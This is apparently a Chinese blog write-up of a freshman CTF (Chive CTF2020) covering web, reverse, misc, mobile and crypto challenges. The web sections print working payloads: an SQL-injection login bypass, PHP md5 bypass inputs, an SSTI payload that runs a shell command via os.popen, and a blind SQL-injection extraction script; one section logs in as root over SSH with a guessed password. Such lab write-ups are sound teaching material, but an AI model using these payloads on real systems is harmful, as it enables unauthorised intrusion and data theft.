[Chive CTF2020]Write Up

/ 0评 / 0

哈工大新生赛(真新生)


### 签到


magicCube

在scripts/certificate.js中搜索flag得到flag - - - - - -

小游戏

这题还不会(我太菜了)打开游戏随意测试一下。首先挣钱买一下远古典籍残卷 发现在法术项的时候是unsigned long long int 也就是一个unsigned转signed,所以我们只要把血量买足够了,在买法术的时候输入负数,即可获得flag ### RE


doyouknowida

IDA打开搜索一下字符串就有flag - - - - - -

upx

社工


“盒子”里的秘密

这土豆题太顶了woc,这个思路真的开阔(也可能我想不到)打开后查看用户,发现有一个Raven729 的管理员用户,题干中描述了‘‘某日,第五空间俱乐部的小Q用土豆制的黑科技服务器上线了个人的CTFd,你能找到他隐藏的秘密吗? ’’根据提示小Q的安全意识很差,所以使用用户名Raven729 密码 Raven729 登录(把ctfd翻遍了也没有,以为新出了洞) (后来都在线想能不能getshell)---->>>>其实就是这里的思路,可惜当时没想到(群里也一直在说在土豆里不在土豆表面) 给了hint‘想想怎么用你从土豆皮表面获得的信息得到土豆心里的flag’(不会是链接ssh吧???)试一下 用户名root 密码Raven729连上了,找一下就有flag了 WEB - - - - - -

index.?

页面后加入index.php访问,注释中获得flag - - - - - -

勇者斗恶龙

首先在这里更改最大长度进行测试。 这里提示了我们恶龙的战斗力为10000 所以我们将自己的战斗力提升到10000以上并保持在100级 挑战恶龙拿flag就行了 - - - - - -

勇者谎称斗恶龙

打开靶机查看源码发现是前段的JS, 控制台人为控制一下power即可 - - - - - -

catchME

题目hint\'看看url,你眼睛花了吗\' 打开后发现快速跳转到新页面了。抓包就有flag了 - - - - - -

magicpassword

万能密码 admin\' or 1=1 # 登录 - - - - - -

GITHUB

这题有点脑洞- - 反正我想了好久 在github中搜 打开获得flag 上面是非预期解,预期解释.git泄露(虽然我没下载下来) - - - - - -

一百万猜数

和勇者谎称斗恶龙类似,猜数开始在控制台输入num会告诉你数是什么 预期解2 打xss - - - - - -

生日快乐

选第二个礼物。爆破一下生日 2000 2 24 - - - - - -

ezheader

简单的头 添加就行了 注释中有 flag - - - - - -

magicMD5

下载index.php.bak

<?php
    echo do you know how i backup my file
;
    $a1=$_GET['a1'];
    $a2=$_GET['a2'];
    $b1=$_GET['b1'];
    $b2=$_GET['b2'];
    $c1=$_POST['c1'];
    $c2=$_POST['c2'];
    $d1=$_POST['d1'];
    $d2=$_POST['d2'];
    if(is_numeric($a1)&&(!is_numeric($a2))&&intval($a1)==intval($a2)){
        echo 'level 1 pass
';
    }else{
        die('get out');
    }
    if($b1!=$b2&&md5($b1)==md5($b2)){
        echo 'level 2 pass
';
    }else{
        die('get out');
    }
    if($c1!==$c2&&md5($c1)===md5($c2)){
        echo 'level 3 pass
';
    }else{
        die('get out');
    }
    if((string)$d1!==(string)$d2&&md5($d1)===md5($d2)){
        echo 'level 3 pass
';
    }else{
        die('get out');
    }
    $flag = 'flag_here';
    echo ;

简单的md5绕过 ```
get: 
a1=1337&a2=1337e&b1[]=1&b2[]=2
post:  c1[]=1&c2[]=3&d1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2&d2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2

正则公主的秘密日记

这题正则确实有点东西(主要我看不懂)将正则传入解密网站匹配一下 按照他的含义输入相应的字符串即可 payload:I am pppprrincw o abnsd- - - - - -

贷款

打开靶机发现url中data中数据有嫌疑, 有64位,两个32位的md5,解密一下发现前面base64加密的金额后面是欠款,改成大于flag100元的金额购买就好了 - - - - - -

Robot

简单的ssti,过滤了flag字样,字符拼接 ```
payload一把梭:{{().class.mro[1].subclasses()[59].init.getattribute('func_gl'+'obals')[linecache].dict['o'+'s'].dict['popen']('cat /app/fl'+'ag.txt').read()}}

GetPassword

测试一下就知道是盲注了,当表达式为真的时候输出you are my vaala脚本一把梭

import requests
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
req = requests.Session()
header = {User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36}
url = http://vps.vaala.cat:28000/index.php?username=
flag = flag:
for i in range(1,50):
    for j in range(33,127):
        #payload=%27 or ascii(substr((sselectelect%20table_name%20from%20information_schema.tables%20where%20table_schema=%27vaalacat%27),+str(i)+,1))=+str(j)+%23
        #payload=%27 or ascii(substr((sselectelect%20column_name%20from%20information_schema.columns%20where%20table_name=%27vaala%27limit%201,1),+str(i)+,1))=+str(j)+%23
        payload=%27 or ascii(substr((sselectelect%20password%20from%20vaala),+str(i)+,1))=+str(j)+%23
        html = req.get(url+payload)
        if 'you are my vaala' in html.text:
            flag = flag + chr(j)
            print(flag)
            break

MISC

菩提本无树,明镜亦非台

word文档 全选后发现白色字体,扔到佛曰里解密即可 与佛伦禅- - - - - -

害怕黑暗吗

Stegsolve一把梭 - - - - - -

谢尔顿的噩梦

敲击ascii码过滤男生 33 24 22 23 44 32 11 42 15 热身赛dingding的经验 敲击码解码就行 - - - - - -

give_you_flag

7z无视伪加密,图片打开后补全二维码定位符扫一下就是flag - - - - - -

搏击第五空间

010 Editor打开发现中间有一串base64加密的东西 解密即flag - - - - - -

简单流量分析

wireshark打开有一个压缩包,提取出来图片flag - - - - - -

君は蔷薇より美しい

更改图片宽高获得一个BV号 打开bilibili发现熊叫上方存在黑白交替的闪烁,猜测是0101 将白色设为0黑色为1 看亿遍(爷吐了这题) ```
01100011
01101000
01100001
01101110
01100111
01100101
01100100
01011111
01100001
01101000
01101000
01101000
01101000
01101000
01101000
01101000
01101000
01101000


二进制转ascii 得到flag flag{changed_ahhhhhhhhh} ### **Mobile**

- - - - - -

## 送给最好的TA

notepad++打开搜索一下flag字段获得flag - - - - - -

## Mobile1

和mobile2一样,找到字符串以后异或^0xf - - - - - -

## Mobile2

具体看https://blog.csdn.net/tc125/article/details/94502932 ### **Crypto**

- - - - - -

## Rainbow

维吉尼亚密码 [![](http://ha1c9on.top/wp-content/uploads/2020/04/QQ图片20200419112741.png)](http://ha1c9on.top/wp-content/uploads/2020/04/QQ图片20200419112741.png)(没见过这图学到了) 网页一把梭也行 - - - - - -

## 13道栏

[栅栏密码解密【W型】](http://www.atoolbox.net/Tool.php?Id=777.com)+rot13 - - - - - -

## 你以为这是普通的栅栏?

上面网站一把梭 - - - - - -

## ez_py_challenge

下载下来一个pyc文件,使用EasyPythonDecompiler工具反编译出python代码,发现经历了三次加密 ```
<pre escaped="true" lang="python" line="1"># Embedded file name: ezpychallenge.py
import base64
def encode1(ans):
    s = ''
    for i in ans:
        x = ord(i) ^ 73
        x = x + 12
        s += chr(x)
    return s
def encode2(ans):
    s = ''
    for i in ans:
        x = ord(i) + 37
        x = x ^ 21
        s += chr(x)
    return s
def encode3(ans):
    return base64.b32encode(ans)
flag = ''
print 'Please Input your flag:'
flag = raw_input()
final = 'OVBUYSTWI5GGKSDVPBGUITKOPF2H662COA======'
if encode3(encode2(encode1(flag))) == final:
    print 'correct'
else:
    print 'wrong'
 
反着解密就行
<pre escaped="true" lang="python" line="1">import base64
def encode1(ans):
    x = ''
    s = ''
    for i in ans:
        x = ord(i) - 12
        x = x ^ 73
        s += chr(x)
    return s
def encode2(ans):
    x = ''
    s = ''
    for i in ans:
        x = ord(i) ^ 21
        x = x- 37
        s += chr(x)
    return s
flag = 'uCLJvGLeHuxMDMNyt{Bp'
a=encode1(encode2(flag))
print (a)

ez_RSA

d = gmpy2.invert(e, (p-1)*(q-1))

脚本一套就行


use_the_keyboard

base64解密,按照他给的顺序在键盘上找一下,包围的字母连起来就是flag--->>>welldone - - - - - -

皇帝的flag

打开以后发现flag{}中是空的,使用010 Editor打开后发现flag中确实有文字。使用vim打开后发现如下字样 这里有Ga1@xy师傅博客讲过该加密: 浅谈基于零宽度字符的隐写方式直接网址一把梭零宽字符隐藏加密自己改成摩斯电码也行 200B----> 分隔符 200C---> \'.\' 200D---> \'-\'- - - - - -

摩斯探长前传

这题真的真的真的太顶了woc 打开文件,一个朔长的英文文档。仔细观察发现其中有很多莫名其妙大写的字母 简单观察了一下第一个为ZERO 零,那么就脚本输出一下所有的大写字母吧! ```

str = open('1.txt','r').read()
re= ''
for i in str:
if ord(i)>=65 and ord(i)<=90: re+=i print(re) ``` ``` ZEROZEROONEZEROPZEROONEZEROZEROPZEROONEPONEONEZEROPONEONEONEONEZEROONEONEPZEROZEROZEROZEROPZEROONEONEONEONEPONEZEROZEROPZEROZEROZEROONEONEPZEROZEROONEONEZEROONEPZEROONEONEONEONEPONEZEROPZEROZEROONEONEZEROONEPZEROONEONEZEROPZEROONEZEROZEROPZEROZEROZEROZEROONEPZEROONEONEONEONEPONEZEROPZEROZEROONEONEZEROONEPZEROZEROZEROZEROZEROPZEROONEONEONEONEPONEONEONEONEZEROPZEROZEROZEROZEROPONEONEZEROZEROZEROPONEONEONEONEONEZEROONE ``` 输出了一吨0和1还有P,那根据经验p就是换行了 ``` 0010 0100 01 110 1111011 0000 01111 100 00011 001101 01111 10 001101 0110 0100 00001 01111 10 001101 00000 01111 11110 0000 11000 1111101 ``` 本来以为是ascii码,后来发现如果是ascii码那么00100这样的字符则无意义,还有可能是摩斯密码 把0替换成'.' 1替换成'-' ``` ..-. .-.. .- --. ----.-- .... .---- -.. ...-- ..--.- .---- -. ..--.- .--. .-.. ....- .---- -. ..--.- ..... .---- ----. .... --... -----.- ``` 解码即flag 解码网站(我认为好使的)[摩斯密码翻译器_摩斯密码转换器](http://www.all-tool.cn/Tools/morse/)转换成小写即flag(这里膜一下Ga1@xy师傅tttttql) (听说校内有手撕,膜)

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注